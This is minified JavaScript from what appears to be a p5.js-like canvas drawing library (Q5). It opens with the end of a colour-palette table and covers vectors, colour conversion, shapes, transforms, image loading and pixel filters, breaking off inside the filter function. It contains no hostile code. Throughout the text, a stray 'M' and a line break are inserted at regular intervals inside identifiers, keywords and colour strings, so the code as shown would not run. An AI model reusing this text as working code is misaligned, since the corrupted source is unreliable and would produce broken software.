fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
